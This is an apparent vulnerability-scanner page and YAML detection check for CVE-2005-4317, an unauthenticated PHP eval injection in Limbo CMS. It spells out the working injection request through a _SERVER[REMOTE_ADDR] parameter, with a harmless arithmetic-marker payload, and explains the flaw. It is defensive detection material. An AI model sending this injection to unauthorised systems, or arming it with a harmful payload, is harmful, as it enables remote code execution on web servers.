Limbo CMS — 1 vulnerability check
noctis ships 1 vulnerability check for Limbo CMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Limbo CMS index2.php _SERVER[REMOTE_ADDR] Eval Injection
| CVE | CVE-2005-4317 |
|---|---|
| Severity | medium · CVSS 6.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/limbo-cms/CVE-2005-4317.yaml |
Detects the unauthenticated PHP code injection in Limbo CMS 1.0.4.2 and earlier: with register_globals off, a `_SERVER[REMOTE_ADDR]` request parameter overwrites the client address, which index2.php with option=wrapper pastes inside a single-quoted string that it runs with eval(), so a value such as `'.<php code>.'` runs PHP code as the web server user. Once index2.php is found, the feed sends a REMOTE_ADDR value that makes the script exit with a marker followed by the product of two random integers, and reports only when that computed product comes back, which only real evaluation of the injected PHP can produce. No command is run and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{limbo_dir}}/index2.php - HTTP(S) request
GET {{limbo_dir}}/index2.php?_SERVER%5B%5D=&_SERVER%5BREMOTE_ADDR%5D=%27.exit(%27NOCTIS%2… - Checks
resp.bodyforNOCTIS[0-9]{11,12}→ finding QoD 97: Limbo CMS eval injection through _SERVER[REMOTE_ADDR] (CVE-2005-4317)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-4317
- https://nvd.nist.gov/vuln/detail/CVE-2005-4318
- https://nvd.nist.gov/vuln/detail/CVE-2005-4319
- https://nvd.nist.gov/vuln/detail/CVE-2005-4320
- https://lists.openwall.net/bugtraq/2005/12/14/8
- https://www.exploit-db.com/exploits/1373
- https://www.securityfocus.com/bid/15871/
Feed source — tests/vulnerabilities/limbo-cms/CVE-2005-4317.yaml
# Limbo CMS <= 1.0.4.2 — _SERVER[REMOTE_ADDR] overwrite → eval injection
# in index2.php?option=wrapper (CVE-2005-4317)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/limbo_multiple_flaws.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.20824, GPL-2.0-only). Request shape checked
# against rgod's advisory (bugtraq 2005-12-14, EDB 1373), which sends the same
# index2.php?_SERVER[]=&_SERVER[REMOTE_ADDR]=<php>&option=wrapper&module[module]=1
#
# CVE mapping: the NASL lists CVE-2005-4317..4320 (one advisory, four
# records). The request it sends proves CVE-2005-4317 (eval injection in the
# wrapper option) only; 4318 (SQL injection through the same overwrite), 4319
# (option ../ include) and 4320 (path disclosure) are not probed, so `cves:`
# names only CVE-2005-4317 (the others are listed in `references:`).
# NVD has no v3 score for any of them: cvss is the v2 base score of 4317.
#
# With register_globals off, Limbo re-creates the request variables itself
# and lets a `_SERVER[...]` parameter overwrite $_SERVER. Reached through
# index2.php?option=wrapper, classes/adodbt/read_table.php builds a search
# string from the client address and runs it with eval() for each row:
# if ($id > 1 && $ip == '<REMOTE_ADDR>') { $f = true; } else { $f = false; }
# A REMOTE_ADDR of `'.<expr>.'` closes the string literal and evaluates <expr>.
#
# Detection — per install directory, gated on index2.php answering (not 404):
# _SERVER[REMOTE_ADDR]='.exit('NOCTIS'.(a*b)).' (a, b random, 6 digits)
# exit(<string>) prints the string and ends the script (`print(x).exit()`
# would print nothing: print is a construct, so exit() runs first). Reported
# (QoD 97) only when NOCTIS<a*b> comes back: the 11/12-digit product never
# appears in the request, so a page reflecting REMOTE_ADDR (the stats module
# does, CVE-2005-4317's XSS half) cannot produce it. Nothing is written or
# read on the target; the script just exits early.
#
# Better than the NASL: the NASL runs system('id') and matches uid=/gid=,
# which runs an OS command and misses hosts where system() is disabled
# (disable_functions / safe_mode); the per-run arithmetic marker needs only
# eval() and spawns no process. The NASL also only tries its CGI dir list;
# the loop below adds the usual /limbo and /cms install directories.
#
# The advisory exploit states the overwrite works whatever the
# magic_quotes_gpc setting (Limbo's own globals handling undoes the escaping).
# Limitation shared with the NASL and the advisory exploit: the eval runs once
# per table row and the `$id > 1 &&` guard short-circuits, so an install whose
# table holds fewer than two rows never evaluates the payload and is missed.
uid: 7432fb73-3585-4c4b-bda6-6b99247777a5
name: "Limbo CMS index2.php _SERVER[REMOTE_ADDR] Eval Injection (CVE-2005-4317)"
description: |
Detects the unauthenticated PHP code injection in Limbo CMS 1.0.4.2 and
earlier: with register_globals off, a `_SERVER[REMOTE_ADDR]` request
parameter overwrites the client address, which index2.php with
option=wrapper pastes inside a single-quoted string that it runs with
eval(), so a value such as `'.<php code>.'` runs PHP code as the web
server user. Once index2.php is found, the feed sends a REMOTE_ADDR value
that makes the script exit with a marker followed by the product of two
random integers, and reports only when that computed product comes back,
which only real evaluation of the injected PHP can produce. No command is
run and nothing is written on the server.
cves: [CVE-2005-4317]
cvss: 6.8
severity: medium
confidence_base: 0.30
category: rce
tags: [limbo-cms, php, eval-injection, code-injection, rce, register-globals, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4317"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4318"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4319"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4320"
- "https://lists.openwall.net/bugtraq/2005/12/14/8"
- "https://www.exploit-db.com/exploits/1373"
- "https://www.securityfocus.com/bid/15871/"
- "OpenVAS/Greenbone NASL pre2008/limbo_multiple_flaws.nasl (GPL-2.0-only)"
steps:
# Per-run proof values: the product of two 6-digit integers (11-12 digits).
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a * b) }
store_as: proof
# ── Per install directory: the loop runs every step below ────────────────
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
over: ["", "/limbo", "/cms", "/limbocms"]
var: limbo_dir
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
- id: index2-page
action: http_request
method: GET
path: "{{limbo_dir}}/index2.php"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
store_as: page
# %5B = [ %5D = ] %27 = '
- id: inject-exit
action: http_request
method: GET
path: "{{limbo_dir}}/index2.php?_SERVER%5B%5D=&_SERVER%5BREMOTE_ADDR%5D=%27.exit(%27NOCTIS%27.({{proof.a}}*{{proof.b}})).%27&option=wrapper&module%5Bmodule%5D=1"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
condition: "page.status >= 200 && page.status < 400"
store_as: resp
- id: confirm-exit
action: match
source: resp.body
pattern: "NOCTIS[0-9]{11,12}"
condition: "stridx(resp.body, proof.marker) >= 0"
on_match:
finding:
title: "Limbo CMS eval injection through _SERVER[REMOTE_ADDR] (CVE-2005-4317)"
description: "index2.php?option=wrapper evaluated PHP code supplied in the _SERVER[REMOTE_ADDR] request parameter: the injected exit() call printed a marker carrying the product of two random integers computed by PHP on the server. An unauthenticated attacker can run arbitrary PHP code, and through it system commands, as the web server user."
remediation: "Limbo CMS is no longer maintained: remove it or replace it with a supported CMS. Until then, block request parameters named _SERVER, _ENV, _GET, _POST, _COOKIE or GLOBALS at the web server."
confidence_delta: 0.67
qod: 97
evidence: "Limbo CMS eval injection confirmed via GET {{limbo_dir}}/index2.php?_SERVER[]=&_SERVER[REMOTE_ADDR]='.exit('NOCTIS'.({{proof.a}}*{{proof.b}})).'&option=wrapper&module[module]=1: the reply carried the PHP-computed marker {{proof.marker}}"
stop: true